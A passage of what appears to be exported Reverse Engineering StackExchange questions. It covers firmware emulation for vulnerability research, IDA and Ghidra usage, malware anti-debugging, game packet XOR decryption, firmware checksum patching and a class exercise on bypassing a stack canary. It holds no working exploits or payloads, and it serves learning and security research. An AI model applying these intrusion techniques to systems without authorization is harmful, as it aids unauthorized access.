+Can someone help me in understanding what syntax I should be looking for in the assembly code of this program to find what is causing the program to suspend? Or anything else I might be missing? +" +"['firmware', 'gdb', 'mips', 'qemu', 'router']"," Title: How to perform full MIPS system emulation with QEMU, using the squashfs image and uBoot kernel image?Body: TL;DR: +Need tips on emulation of MIPS-BE system using QEMU with the help of squashfs image file and uBoot Kernel image file extracted from the firmware file. +Long Version: +- What I have: +
    +
  1. A cheap unpopular GPON (Fiber ONU) device, which I have root shell +access to.
  2. +
  3. A computer
  4. +
  5. Beginner skills (binwalk, gdb, basic +stackoverflow etc.)
  6. +
  7. High enthusiasm towards hacking
  8. +
+- What I want: +The router runs an ancient webserver called Boa and this has several publicly available vulnerabilties. But, I have tested each and every one against the target router ; but none of it worked. The firmware is released on this year; so, I'm almost sure that the vendor has patched them. +However, I have already found an vulnerability, which I've disclosed to the vendor. But, I don't want to stop there, as I am pretty sure that this webserver contains tons of other vulnerabilities. +My research found out that vendor has precompiled the webserver binaries as a stripped file and all of the server side processing functions are compiled as a stripped custom library file. +What I want is to dynamically analyze the library file and catch the function calls from the webserver to the library file using gdb. +To do that, I have tried the following steps: + +As far as my research went, the only option for me to dynamically analyze the web server is to make the web server run in QEMU with the kernel image and rootfs image I extracted from the firmware. +So, what are my next steps? How can I perform a full system emulation with QEMU, using the squashfs image and uBoot kernel image? +" +"['ios', 'hopper']"," Title: How can I make more space for a bigger string in Hopper disassembler?Body: I made an iOS app that simply changes the background color when I tap the button. the goal is to change the color with Hopper. I successfully changed the color from blue to red but I cannot change from blue to green because the string "green" is bigger than "blue" so it's overlapping the next instruction: + + + + +So my question is what can I do ? +" +"['c++', 'dll', 'c#']"," Title: Why can C# applications be reverse-compiled with variable names while C++ ones can't?Body: Why can programs written in C# be reverse-compiled essentially to their original form with variables names (such as dnSpy) while C++ decompilers (such as Ghidra) are unable to decode the variable names? +" +"['ida', 'obfuscation', 'deobfuscation']"," Title: Is there a way in ida pro to see the address where I have explicitly marked them as code or data, etc?Body: I'm analyzing an obfuscated binary. IDA did a pretty good job of doing the initial auto-analysis. Later, I went through and marked some sections as undefined, or code, etc. Now IDA can't re-create a section as a function. It complains about +
The function has undefined instruction/data at the specified address.
+
+I think this is because it has remembered where I've marked thing as undefined or data or code. And those marks are confusing the auto analyzer. +Thanks! +" +"['malware', 'ghidra', 'dll']"," Title: How to mark data as pointer to external functions in ghidraBody: I'm examining a piece of malware with Ghidra, and like most malware it uses LoadLibrary and GetProcAddress to dynamically load libraries and functions. GetProcAddress stores the function addresses in an area of memory. I have figured out what functions are stored at what addresses and I would like ghidra to reflect this. +That is, i'd like it to say, for example, Call MPR.DLL::WNetOpen rather than Call qword ptr [some_address]. I kind of achieved this by going to the place where the address is stored and adding an external reference, however, this does not propagate the parameters of the reference, and in the disassembled view it looks different from an external function call that ghidra figured out at analysis time. Here are some pictures to help. +The first picture is an image of what I know to be LoadLibraryA through analysis. Notice I had to name it LoadLibraryB to avoid an error due to conflicting labels with the originally imported LoadLibraryA. +The second image is of the actual LoadLibraryA that was imported at the beginning of analysis, notice it has the correct parameters and return value. +I just want them to look the same. + + +" +"['disassembly', 'static-analysis', 'decryption', 'packet', 'xor']"," Title: Help regarding XOR game decryption algorithmBody: I'm currently trying to reverse engineer the decryption algorithm for an old online game, using a chat message packet, as it contains text which is easily recognizable. +I used a packet sniffer to get the received packet (which is encrypted) from the server: +
5e 00 09 32 3c c1 6e b5 ae be 90 4a 70 8f b7 3d
+3a 81 c5 3a f9 11 a6 06 36 3d f3 68 a3 dd 72 a3
+ff e1 c3 e9 12 28 d7 c5 a0 f1 ce 38 35 59 19 b6
+85 90 76 23 42 af 50 6f 66 52 ec ad f9 da 61 3f
+5d 09 ee 8d dd 9e ff ee 7d 27 0f 5c 1e df ba 30
+de d0 c8 8c 1b 93 1d 53 66 13 98 ff 29 db
+
+The first 4 bytes are known and unencrypted: +5E 00 is the size, here 94. +09 32 is the OPCODE as a big endian: here 2354. +What follow is the encrypted payload. +Knowing the encrypted packet, I used Cheat Engine to set a breakpoint right after the winsocket receive function and then search the buffer where the packet is stored. +Important to note: Apparently, the buffer which stores the received (encrypted) packet will also store the decrypted one. +Checking what writes to this address results in exact one instruction. + +As the buffer which contains the encrypted packet also contains the decrypted one, I can say for sure that this has to be the function which decrypts the value. +The decrypted packet looks the following (last bits contain the chat message, somewhere in between the username is stored): +
5e 00 09 32 00 00 00 00 4d 00 6e 60 00 00 00 00
+06 0a 2c 00 00 00 74 00 65 00 73 00 74 00 63 00
+68 00 61 00 72 00 31 00 00 00 91 12 ad 14 5e 75
+00 00 cf 00 00 00 00 00 28 cd b8 69 fc f7 91 12
+aa f1 07 4d 00 00 cf 00 00 00 00 00 10 74 65 73
+74 5f 6d 65 73 73 61 67 65 5f 31 32 33 00
+
+I then used Ghidra to inspect the specific instructions which handle the decryption part - this is where I am currently stuck and don't know how to proceed, as I don't have a deep understanding of this topic. +
    undefined4 decrypt_package(int type,int param_2,int param_3,int param_4,int param_5)
+    {
+      undefined4 success;
+      int counter;
+      
+      if ((param_3 == 0) || (param_4 == 0)) {
+        s = 0;
+      }
+      else {
+          // Old encryption function which only used byte ^ 255
+          // I assume it's still in here, because the code wasn't cleaned up.
+        if (type == 0) {
+          counter = 0;
+          while (counter < param_5) {
+            *(byte *)(param_3 + counter) = *(byte *)(param_4 + counter) ^ 0xff;
+            counter = counter + 1;
+          }
+        }
+        else {  // Don't know when this is used - at least not for decryption
+          if (type == 1) {
+            param_2 = 0x48473c;
+            counter = 0;
+            while (counter < param_5) {
+              *(byte *)(param_3 + counter) = *(byte *)(param_4 + counter) ^ (byte)((uint)param_2 >> 8);
+              param_2 = ((uint)*(byte *)(param_3 + counter) + param_2) * 0x2ba339 + 0x2cad2b5;
+              counter = counter + 1;
+            }
+          }
+          else {
+              // This block of code is called for the decryption part.
+            if (type == 2) {
+              counter = 0;
+              while (counter < param_5) {
+                *(byte *)(param_3 + counter) = *(byte *)(param_4 + counter) ^ (byte)((uint)param_2 >> 8)
+                ;
+                param_2 = ((uint)*(byte *)(param_3 + counter) + param_2) * 0x8e9a99 + 0x685b24;
+                counter = counter + 1;
+              }
+            }
+          }
+        }
+        success = 1;
+      }
+      return success;
+    }
+
+(Note for the type == 0: When the game first released, it only used a simple XOR with 255 as an encryption, this was apparently later discontinued) +From my understanding, the code does the following (assuming, param_2 is the buffer for the packet?): +
    +
  1. Loop over the buffer, as long as counter < param_5 (which I assume is the length of the payload to decrypt?)
  2. +
  3. XOR the byte with a value (first byte that needs to be decrypted would be at position 5, so I assume that param_3 would be a kind of offset to skip the first 4 bytes.)
  4. +
  5. Return a bool (don't know why it is declared as undefined) whether the decryption worked or not.
  6. +
+Below I also posted the assembly code for this block of code (starting at the counter = 0 in the while loop for type == 2) + +
+As said in the beginning, I am not experienced when it comes to this kind of things. +I therefore would like some additional information on how I would continue from here on, so that I could implement the decryption in my programming language of choice - what exactly is the code block above doing? +I hope I included all information needed. +Thanks for reading (and helping)! :) +" +"['ida', 'struct']"," Title: Define partial struct with IDABody: I want to define struct in Ida , but I know only partial of this struct +I only know that in arr[12] that int student_id , and I don't know the rest of struct. Ida recognize that struct as char * . +How can I define that struct? +" +['android']," Title: How to decompile a unity apk to a project?Body: I have tried to decompile a variety of APK's built with unity, but the tools i have used (uTinyRipper, iLSpy, some others) give me some files which give me errors and incomplete code/assets. I see DevX-Unpacker Magic Tools recommended frequently, but I would prefer to avoid paying hundreds of dollars just to decompile some games. Does anyone know a tool which would let me decompile a compiled unity game into a editable project? Preferably one with no cost, or one in the double digits? (I am new to the reverse-engineering scene, sorry if this is a dumb question) +" +"['windows', 'dynamic-linking', 'mfc']"," Title: Find out version of statically linked MFC from an exeBody: I have an exe with symbols stripped that I am trying to reverse engineer. I know the library is linked with MFC but I don't know which version. (Therefore, I can't use something like FLIRT signatures etc. to import known symbols and help reverse engineering). +Is there a way to deduce the version of MFC statically linked into an exe from the exe itself? +I have tried some trial and error approaches but really it caused a lot of trouble as some symbols matched and others don't. I'm looking for a tried and tested way - is something embedded in the metadata of an exe? +" +['radare2']," Title: `af` does not seem to find all functions in Radare2Body: The disassembly at the entry point looks like this: +
 :   ;-- entry0:
+        :   ;-- _mainCRTStartup:
+        :   ;-- eip:
+        :   0x004014e0      83ec0c         sub esp, 0xc
+        :   0x004014e3      c70598534000.  mov dword [0x405398], 0     ; [0x405398:4]=0
+        :   0x004014ed      e86e020000     call sym.___security_init_cookie
+        :   0x004014f2      83c40c         add esp, 0xc
+        `=< 0x004014f5      e986fcffff     jmp sym.___tmainCRTStartup
+            0x004014fa      90             nop
+            0x004014fb      90             nop
+            0x004014fc      90             nop
+            0x004014fd      90             nop
+            0x004014fe      90             nop
+            0x004014ff      90             nop
+            ;-- ___gcc_register_frame:
+            0x00401500      a130304000     mov eax, dword [0x403030]   ; [0x403030:4]=0
+            0x00401505      85c0           test eax, eax
+        ,=< 0x00401507      7443           je 0x40154c
+        |   0x00401509      55             push ebp
+        |   0x0040150a      89e5           mov ebp, esp
+        |   0x0040150c      83ec18         sub esp, 0x18
+        |   0x0040150f      c70424004040.  mov dword [esp], str.libgcj_13.dll ; section..rdata
+        |                                                              ; [0x404000:4]=0x6762696c ; "libgcj-13.dll"
+        |   0x00401516      ff151c614000   call dword [sym.imp.KERNEL32.dll_GetModuleHandleA] ; 0x40611c ; "Lb" ; HMODULE GetModuleHandleA(LPCSTR lpModuleName)
+...
+
+
+When I do an af it only finds function at entry0. Why is it not able to find the other functions that follow? For example, the functions at 0x004014ed, 0x00401516. +" +['hardware']," Title: Most idiot-proof method of entry to Reverse Engineer Visual/Control feed for security cameraBody: I am looking to reverse engineer a construction security camera. I am a self-learner, and have a very general grasp on electrical engineering and coding - so I'm not entirely 'out of my element' - but I understand this is a big challenge that requires a lot of work. I am looking to eventually create an interface that will let see what the camera sees, as well as utilize its PTZ functions. What would be the most idiot proof method of entry to figure out the interface? +The camera (or camera package I guess) in question is an Axis PTZ camera, which is connected to an Axis DC PoE midspan. The midspan directly plugs into a Raspberry Pi 3 Model B that bootloads directly from a micro-SD card (to me that was rather surprising). The pi then has three USB cables, two of which run to a proprietary board (which will be described and pictured below), and the third which plugs into a Sierra Wireless AirLink RV50 for transmission via wireless carrier network. +The proprietary board has two JTAG ports, a ten-pin port that connects to an Adesto SPI flash, and a 20 pin JTAG that connects to a Lattice Semi ICE40 HX8X FPGA chip. The only other chips of notable manufacture is a SILabs CP2102, and a TI CMOS sensor ADC. The board also houses the power transformer and directs power to all the components. + +There are a few points of access I could try to get access to the control system, but i am curious about all y'alls opinion. +TL;DR What would be more forgiving of novice blunders? Would it be better if I were to try to change any programming on the card? Is it better to try to decode the data as it is sent to the WIFI access point? Just curious what the best method of entry/analysis should be. Everything I have seen on the internet involves some sort of IP sniffing, but when the camera has its own unique network system via cellular carrier, and I don't know what it is transmitting... Better to not. +Hoping for the best, and excited to hear any tips you all might have. +Cheers! +Photovoltaeic +" +"['ghidra', 'windows-10']"," Title: Ghidra unable to find the JDKBody: Unzipped the ghidra application. When I run the .bat file I get the following message +
LaunchSupport expected 2 to 4 arguments but got 1
+LaunchSupport expected 2 to 4 arguments but got 1
+LaunchSupport expected 2 to 4 arguments but got 1
+
+Failed to find a supported JDK. Please refer to the Ghidra Installation Guide's Troubleshooting section. Press any key to continue . . .
+
+Even though the JDK is installed and I have set the path too in environment variables.
+What could be the reason for this ? +" +"['ida', 'windows', 'idapython', 'c', 'idapro-sdk']"," Title: Import header files in IDA to get the struct definitions?Body: I am reversing a program that has a lot of internal structs in it. +The problem is that there are a lot of structs, so i can't import them manually using local types->insert. +Lets say i have some header files that have all the definitions of these structs (but obviously a lot of other stuff as well like defines, since its an actual header file), is there anyway i can import this in IDA? +I cannot manually add structs because there are more than 1000 structs in these header files +" +"['binary-analysis', 'firmware', 'unpacking', 'checksum']"," Title: How to modify checksum after making changes in Nokia 215 4G firmware?Body: If I change any character in the firmware file and try to flash it, it will failed. But it will successfully flashed if I changed the string with the same number of character if it's not a function. +After further searching, I found out about the checksum and that in order to flash the custom firmware, you need to calculate it and modify it in the firmware. +This is the firmware: +https://www.mediafire.com/file/ok2c0qodao5fld1/Nokia_215_4G_readed_test.pac/file +I use HxD to read the file. +If I search for checksum, I got some results -> + +Also, I searched for sha -> + +So here, I tried to change == with != and also I changed it to 1 == 1 but, It always failed to flash +I am lost. I don't know what to search for or from where to start. +I hope that someone could help me out! +Note: I can provide access to my PC to try the flash tool (nokia tool v0.060 using easybox) and maybe debugging in the phone. +" +"['ida', 'idapython', 'ida-sdk']"," Title: How to propagate the new variable type and redefine all the functions that are using it with the new type in IDA?Body: Lets say there is a variable x in f1, and f1 calls f2 with the variable x +I want ida to automatically redefine the definition of any function like f2, that is using the variable that i just changed its type. how can i do this? because right if x is getting passed to 100 functions, i need to manually redefine EVERY SINGLE one! +" +"['disassembly', 'windows', 'pe', 'x86-64']"," Title: Disassembly call function offset from RIPBody: I am writing a program where I map an .exe PE file in memory and I "dissect" it. +I am disassembling the .text section of the target executable, using the distorm disassembler. +CALL instructions in the disassembly have an offset relative to the RIP register, e.g.: CALL QWORD [RIP+0xf8e]. +I am also reading the Import Descriptor Table and I can see all the function calls from various .dlls there. +When using dumpbin.exe with /section:.text /disasm to disassemble the same target .exe, although it shows the same opcodes ff 15 8e 0f 00 00, it somehow translates this RIP offset to the proper (and correct) Win32 function being called (in my program GetCurrentProcessId()), call qword ptr [__imp_GetCurrentProcessId]. +My question is how to "map"/resolve each CALL instruction that I see in my disassembly to a specific Win32 API call, like dumpbin does, since I don't run this program inside the debugger and therefore the IAT is not overwritten by the Windows loader to show the proper jmp instruction calling the Windows API. Is it a disassembler issue? Can I deduct this somehow using the various PE structures? +" +"['malware', 'anti-debugging', 'protection']"," Title: Anti-Reversing: Unable to patch memory/set breakpoints of process with x64, unusual memory segmentBody: I'm working on a sample that contains packing and anti-analysis measures. +Using ScyllaHide plugin for x64dbg currently with all checks enabled (not sure if this would affect anything, I've tried messing with this a bit) I am able to attach the debugger to the process but I am observing some behavior I haven't encountered before. +
    +
  1. Looking in x64dbgs Memory Map tab, the processes main memory segment is layed out differently to what I've seen in the past. Normally it is of type IMG and contains the usual .text, .data, etc memory segments. This samples main segment is of type MAP and doesn't contain the normal sections. Is this a technique? What is it called?
  2. +
+There are multiple segments in this sample, here is how they look: +
Address=00004FF61EC70000
+Size=0000000001EE0000
+Page Information=malware_sample.exe
+Allocation Type=MAP
+Current Protection=ER---
+Allocation Protection=ER---
+
+Address=00004FF620B50000
+Size=0000000000650000
+Page Information=malware_sample.exe
+Allocation Type=MAP
+Current Protection=-RW--
+Allocation Protection=-RW--
+
+Address=00004FF6211A0000
+Size=000000000013B000
+Page Information=malware_sample.exe
+Allocation Type=MAP
+Current Protection=-R---
+Allocation Protection=-R---
+
+
    +
  1. When trying to set breakpoints or patch memory x64dbg fails on the first segment I listed. I am able to place breakpoints on the second segment so my guess is the protection is preventing breakpoints/patching (Current Protection=ER---)?
  2. +
  3. When trying to alter the protection of the memory segment in x64dbg using Set Page Memory Rights to test if that is the cause of the failure to patch/bps I get an error saying there was a failure to change the memory protection. What can cause this? Is there anti-debugging tricks to prevent changing memory protection?
  4. +
+" +"['ida', 'idapro-sdk']"," Title: Force IDA to reanalyze a function recursively?Body: How can i force IDA to re analyze a function recursively (meaning including every function inside of it and so on) and recognize all the functions inside of all the functions? because right now when a PE is mapped, IDA does not recognize any function inside of it, unlike when i analyze the PE file, and i have to click on every function (unk_xxx) and press P in start of it so it can recognize the function.. +clicking on reanalyze in options doesnt work either. +Alt + P as suggested here doesn't work either : +API to force reanalyze of function (Alt-P) +In decompiler view alt+P doesnt do anything at all, and in disassmbly it just edits the function. +Using IDA 7.5. +" +"['android', 'arm', 'kernel']"," Title: How to extract the kernel assembly code from a zImage?Body: here is the situation, i have a OnePlus phone and i want to explore his kernel, so i downloaded the zip firmware from the oneplus website, extract the img files from the payload.bin, use this tool to extract the zImage from the boot.img. +i found an article here to extract a gzip from the zImage but the output from arm-linux-gnueabi-objdump is kinda weird with the <UNDEFINED> instruction: 0xf1008b1f: +
arm-linux-gnueabi-objdump -EL -b binary -D -m armv5t boot.img-zImage | grep 8b1f
+    2f14:   f1008b1f            ; <UNDEFINED> instruction: 0xf1008b1f
+    3290:   f1008b1f            ; <UNDEFINED> instruction: 0xf1008b1f
+    3384:   f1008b1f            ; <UNDEFINED> instruction: 0xf1008b1f
+   8a224:   2a0003f4    bcs 0x8b1fc
+   8b1f0:   f9000518            ; <UNDEFINED> instruction: 0xf9000518
+   8b1f4:   f9000308            ; <UNDEFINED> instruction: 0xf9000308
+   8b1f8:   f9405fe8            ; <UNDEFINED> instruction: 0xf9405fe8
+   8b1fc:   f9000708            ; <UNDEFINED> instruction: 0xf9000708
+   8fd54:   b98b1f28    stmiblt fp, {r3, r5, r8, r9, sl, fp, ip}
+   cffbc:   9a9f87e9    bls 0xfe8b1f68
+   d0008:   9a9f87ea    bls 0xfe8b1fb8
+  18a220:   aa0003f3    bge 0x18b1f4
+  18b1f0:   f81a83a8            ; <UNDEFINED> instruction: 0xf81a83a8
+  18b1f4:   b40001a2    strlt   r0, [r0], #-418 ; 0xfffffe5e
+  18b1f8:   d0010268    andle   r0, r1, r8, ror #4
+  18b1fc:   b94e5108    stmdblt lr, {r3, r8, ip, lr}^
+^C
+
+
+Also i noticed that the file type was not recognized: +
user@ubuntu:~/Desktop/bootImg$ file zImage 
+zImage: data
+
+But anyway i converted the 2f14 to decimal and tried to extract a gzip archive: +
dd if=zImage of=piggy.gz bs=1 skip=12052
+
+and then tried to extract: +
user@ubuntu:~/Desktop/bootImg$ gunzip piggy.gz 
+gzip: piggy.gz: unknown method 0 -- not supported
+
+also, the archive seems to be encrypted: +
user@ubuntu:~/Desktop/bootImg$ file piggy.gz 
+piggy.gz: gzip compressed data, reserved method, ASCII, has comment, encrypted, last modified: Fri Aug 29 04:43:12 2014, from Unix, original size modulo 2^32 0
+
+note: i know that the oneplus kernels are opensource but i really want to practice my reverse engineering skills. +" +"['ghidra', 'bin-diffing', 'tool-bindiff']"," Title: Ghidra headless + bindiff (binexport)Body: I am working on patch diffing using ghidra + bindiff (specifically, binexport), and am looking for advice on using bindiff with Ghidra headless. +ida_haru does essentially everything that I need, but for IDA instead of Ghidra. Specifically, I am wondering if something like the _make_BinExport() function exists for Ghidra. +
def _make_BinExport(self, target, ida_path):
+        binexp_path = self._get_db_path_noext(target) + '.BinExport'
+        #binexp_path = os.path.splitext(target)[0] + '.BinExport'
+        if not self._clear and os.path.exists(binexp_path):
+            self._dprint('already existed BinExport: {}'.format(binexp_path))
+            return 0
+
+        #cmd = [ida_path, '-A', '-S{}'.format(g_exp_path), '-OExporterModule:{}'.format(binexp_path), target]  # the .BinExport filename should be specified in 4.3
+        cmd = [ida_path, '-A', '-S{}'.format(g_exp_path), '-OBinExportModule:{}'.format(binexp_path), target]
+        #print cmd
+        
+        self._dprint('getting BinExport for {}'.format(target))
+        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        stdout, stderr = proc.communicate()
+        return proc.returncode
+
+Things I have done: +
    +
  1. ghidra headless script to get the func_names and min_addr for each function in the binaries,
  2. +
  3. python script to work with the original_vs_patched.BinDiff files (sqlite3), and correlate results with the func_names
  4. +
+I'm missing: +
    +
  1. ghidra headless script to create and export the *.BinExport files
  2. +
+Advice and insights appreciated! +" +"['ida', 'c++', 'c', 'game-hacking']"," Title: How do I find missing/undefined vtable functions in IDA64?Body: I'm reverse engineering a game and came across some function calls like the ones shown below, how do I find where these functions are located / decompile them? +(*(BaseClient->int640 + 304))(BaseClient) +(*(BaseClient->int640 + 224))(BaseClient, *&v32->gap2[262], &v116, *&v32->gap2[342], v34, v33, v146, *&v32->gap2[246], &Mem, 0) + + +" +"['disassembly', 'x86', 'c', 'gdb']"," Title: Confused about the use of the shl instruction in this disassemblyBody: I created a code construct in C to see how it looks in x86. I'm confused about the use of the shl instructions. I'm confused about what is happening in between the lines <+39> and <+51> I don't get how those instructions translate to the source code. + +Here's the source code: + +It's obviously compiler optimisation but I'm not understanding how that would be equal to multiplying by 21. [It's bit shifting eax, 0x2, or multiplying by 4 twice, but I don't understand how the add instructions make it go from multiplying by 16 to 21] +Thanks for any help! Rohail. +" +"['ida', 'immunity-debugger']"," Title: Finding some specific adresses in an exe fileBody: I'm an absolutely beginner in the reverse engineering field. +I've an exe program and I should find : address of main function/address of function that validate user input/address of hardcoded password. +I have tried with Immuntity debugger and found those addresses : 00E31180(main function),00E31050(fn that validate user input),00E32100(@ of hardcoded password). +But, it seems that I got a wrong response (and i dunno which one of my responses is wrong because they should be all correct to know if i succeeded/no), so could anyone correct me. +I'll be very happy for your help. +Here is the exe file : https://www.sendspace.com/file/6q5xpi +Thanks. +" +"['android', 'decompress', 'frida']"," Title: reversing a grpc callBody: im reversing a android app and i managed to intercept a grpc request and decode it using protoc but i cant seem to make sense of any of the data, i know its compressed using gzip because of the request headers +
        "content-type": "application/grpc; charset=utf-8",
+        "grpc-accept-encoding": "identity,deflate,gzip",
+        "accept-encoding":  "identity,gzip",
+
+and this is the decoded protcolbuffer +

+   "1": {
+        "1": "¸z =PÞCw.\u001e}».*\u001f\u0011"
+    },
+    "2": some value,
+    "3": {
+        "1": {
+            "1": {
+                "1": "©ÄS¢ÄþP\f.½\fÑWÄK>"
+            }
+        }
+    },
+    "4": {
+        "2": 1,
+        "4": {
+            "2": {
+                "1": "other value"
+            }
+        },
+        "7": 2
+    }
+}
+
+i already tried gunzip on cyberchef but i could not decompress anything without a file signature so how should i decompress the other unreadable values into plain text?? when ever i send the same binary data above the intended functionality works so i know the server is turning them back into readable text somehow and say i want to intercept the data on the android app before it gets serialized what is the best place to do that? +update: this is the result decoding the data using proto with the same structure as above what is this data how do i decode it? +
s {
+  string1: "\270z =P\336Cw\211\036}\273\214*\037\021"
+}
+id: 1640553558
+d {
+  d0 {
+    d1 {
+      string2: ">D_.\233d\\\177\210\274\320\000}\253\')"
+    }
+  }
+}
+g {
+  id2: 1
+  f {
+    f0 {
+      string3: "Eiei"
+    }
+  }
+  id3: 2
+}
+
+this is the .proto i built +
syntax = "proto2";
+
+
+message body {
+    message b1 {
+        optional string s0 = 1; 
+    }
+
+    optional b1 s = 1;
+
+    optional int32 id = 2;
+    message b2 {
+
+        message b3 {
+
+            message body4 {
+                optional string string2 = 1;
+            }
+            optional body4 d1 = 1;
+        }
+        optional b3 d0 = 1;
+    }
+    optional b2 d = 3;
+    
+
+    message b4 {
+        optional int32 id2 = 2;
+        message b5 {
+            message b6 {
+                
+                optional string message0 = 1;
+            }
+            optional b6 f0 = 2;
+        }
+        optional b5 f = 4;
+        optional int32 id3 = 7;
+
+    }
+
+    optional b4 g = 4;
+}
+
+" +"['debugging', 'android', 'usb', 'debugging-symbols', 'api-reversing']"," Title: analyze how data is read in android usb deviceBody: I've a huawei envizion 360, which doesn't provide any API for other application. But I want to read raw data from this device, to an android or to a raspberry-pi for debugging and development purpose. I need an android application to record video or take picture from this external device. +But when I tried to debug this application using Android Studio, I got : +
Missing debug symbols
+                    To debug the APK, native libraries (*.so files) must have debug symbols.
+                    The following libraries are missing debug symbols:
+                    * libViewController.so
+                    * libijkffmpeg.so
+                    * libijkplayer.so
+                    * libijksdl.so
+                    * librtmpClient.so
+
+I was told that I can't get those debug symbol, due to r8 processing. +So my question is how can read raw frames/data from this device. Any idea ? +I just have to read data so that I can embed data directly in my application. So my main goal is to decode how those data are being read. +" +"['disassembly', 'assembly', 'debugging', 'gdb', 'gcc']"," Title: Changing value of parameter with gdbBody: I have a file named exploit.c inside which: +
#include <stdbool.h>
+#include <stdio.h>
+
+const char y1 = 'a';
+const char y2 = 'b';
+const char y3 = 'x';
+const char y4 = 'y';
+const char y5 = 'i';
+const char y6 = 'j';
+
+char x1 = 'f' ^ 'a';
+char x2 = 'l' ^ 'b';
+char x3 = 'a' ^ 'x';
+char x4 = 'g' ^ 'y';
+char x5 = 'y' ^ 'i';
+char x6 = '-' ^ 'j';
+
+int main() {
+  bool c = false;
+  if(c) { printf("The flag is: %c%c%c%c%c%c%c%c%c%c%c\n", x1 ^ y1, x2 ^ y2, x3 ^ y3, x4 ^
+y4, x4 ^ y4, x5 ^ y5, x6 ^ y6, x1 ^ y1, x2 ^ y2, x3 ^ y3, x4 ^ y4); }
+  return 0;
+}
+
+How can I print out the flag without changing the value of boolean but with gcc and gdb? +" +"['ida', 'windows', 'ollydbg', 'ghidra', 'winapi']"," Title: How to find sleep() in ollydbg or IDA or ghidraBody: I have a program which converts videos from a proprietary format into mp4. +The conversion is very slow and CPU utilization is less than 1%. +I'm able to speed up the conversion process via Cheat Engine's "Speed Hack" feature. +This way, I can reach 100% CPU utilization, and the conversion is done within seconds. +The resulting mp4 file looks fine. There are no issues. +I'm assuming that the developers of the conversion tool forgot to remove a sleep() in their program. +Is there an easy way to search for sleep via IDA-Free or Ghidra or Ollydbg? +I want to overwrite the sleep with NOP. +" +['buffer-overflow']," Title: How do I calculate where to put the canary value in a programBody: I am trying to exploit a program with a buffer overflow for a class. The program has a canary enabled and when you smash the stack it exits. When running the program in gdb you can set a breakpoint right before the call for user input and grab the canary off the stack. I attemped adding X amounts of A values to find where the canary is overwritten. Partial relro is on and ALSR is disabled. After 71 A's the 72nd causes a stack smash detected and bricks. I tried to enter the canary after the 71 A's in little endian like so AA...A\x00..etc but its still detecting the smash. Am I missing something here? The program is difficult to brute force as it opens a netcat listener on port 1215. From there you have to nc and then are prompted for the message. Ive tried manually entering it and passing it to the listener as a python script. +" +"['crc', 'remote', 'checksum']"," Title: Reverse engineering 16-bit checksum algorithm for 433Mhz RF remote controlBody: I'm stuck trying to figure out how to calculate the two last checksum bytes (16-bits) of these packets. The remaining data fields are understood, and it is just the two last bytes that I am current unable to generate properly. +Below is a dump of many learned (recorded) packets from the retail/original remote control with correct checksum(CRC?) values at the end (the last two bytes). The format of this listing is comma separated bytes printed in decimal format. +
196,215,0,14,197,176,7,50,1,155,165,1,133,220
+196,215,0,14,197,176,7,50,2,155,165,1,30,0
+196,215,0,14,197,176,7,50,2,155,165,2,46,99
+196,215,0,14,197,176,7,50,2,155,165,2,46,99
+196,215,0,14,197,176,7,50,3,155,165,2,88,215
+196,215,0,14,197,176,7,50,4,155,165,17,43,168
+196,215,0,14,197,176,7,50,5,155,165,17,93,28
+196,215,0,14,197,176,7,50,5,155,165,17,93,28
+196,215,0,14,197,176,7,50,5,155,165,17,93,28
+196,215,0,14,197,176,7,50,5,155,165,18,109,127
+196,215,0,14,197,176,7,50,6,155,165,18,246,163
+196,215,0,14,197,176,7,50,6,155,165,18,246,163
+196,215,0,14,197,176,7,50,8,155,165,33,82,201
+196,215,0,14,197,176,7,50,8,155,165,33,82,201
+196,215,0,14,197,176,7,50,8,155,165,33,82,201
+196,215,0,14,197,176,7,50,9,155,165,34,20,30
+196,215,0,14,197,176,7,50,9,155,165,34,20,30
+196,215,0,14,197,176,7,50,9,155,165,34,20,30
+196,215,0,14,197,176,7,50,11,155,165,176,90,141
+196,215,0,14,197,176,7,50,16,155,165,49,222,156
+196,215,0,14,197,176,7,50,16,155,165,49,222,156
+196,215,0,14,197,176,7,50,16,155,165,50,238,255
+196,215,0,14,197,176,7,50,18,155,165,66,125,0
+196,215,0,14,197,176,7,50,19,155,165,66,11,180
+196,215,0,14,197,176,7,50,19,155,165,66,11,180
+196,215,0,14,197,176,7,50,19,155,165,65,59,215
+196,215,0,14,197,176,7,50,19,155,165,65,59,215
+196,215,0,14,197,176,7,50,21,155,165,82,62,28
+196,215,0,14,197,176,7,50,21,155,165,82,62,28
+196,215,0,14,197,176,7,50,22,155,165,81,149,163
+196,215,0,14,197,176,7,50,22,155,165,81,149,163
+196,215,0,14,197,176,7,50,23,155,165,176,14,24
+196,215,0,14,197,176,7,50,23,155,165,176,14,24
+196,215,0,14,197,176,7,50,24,155,165,176,218,246
+196,215,0,14,197,176,7,50,24,155,165,176,218,246
+196,215,0,14,197,176,7,50,27,155,165,160,83,27
+196,215,0,14,197,176,7,50,30,155,165,161,255,127
+196,215,0,14,197,176,7,50,34,155,165,162,172,199
+196,215,0,14,197,176,7,50,37,155,165,192,177,14
+196,215,0,14,197,176,7,50,42,155,165,192,101,224
+196,215,0,14,197,176,7,50,45,155,165,100,193,163
+196,215,0,14,197,176,7,50,48,155,165,96,163,6
+196,215,0,14,197,176,7,50,50,155,165,96,78,110
+196,215,0,14,197,176,7,50,52,155,165,100,41,115
+196,215,0,14,197,176,7,50,53,155,165,101,79,230
+196,215,0,14,197,176,7,50,53,155,165,105,142,106
+196,215,0,14,197,176,7,50,54,155,165,106,37,213
+196,215,0,14,197,176,7,50,55,155,165,107,67,64
+196,215,0,14,197,176,7,50,55,155,165,108,51,167
+196,215,0,14,197,176,7,50,55,155,165,109,35,134
+196,215,0,14,197,176,7,50,56,155,165,110,199,11
+196,215,0,14,197,176,7,50,56,155,165,110,199,11
+196,215,0,14,197,176,7,50,57,155,165,110,177,191
+196,215,0,14,197,176,7,50,57,155,165,110,177,191
+196,215,0,14,197,176,7,50,57,155,165,110,177,191
+196,215,0,14,197,176,7,50,58,155,165,109,26,0
+196,215,0,14,197,176,7,50,58,155,165,108,10,33
+196,215,0,14,197,176,7,50,59,155,165,107,12,114
+196,215,0,14,197,176,7,50,59,155,165,106,28,83
+196,215,0,14,197,176,7,50,59,155,165,105,44,48
+196,215,0,14,197,176,7,51,0,155,165,104,164,182
+196,215,0,14,197,176,7,51,0,155,165,103,85,89
+196,215,0,14,197,176,7,51,1,155,165,102,51,204
+196,215,0,14,197,176,7,51,1,155,165,101,3,175
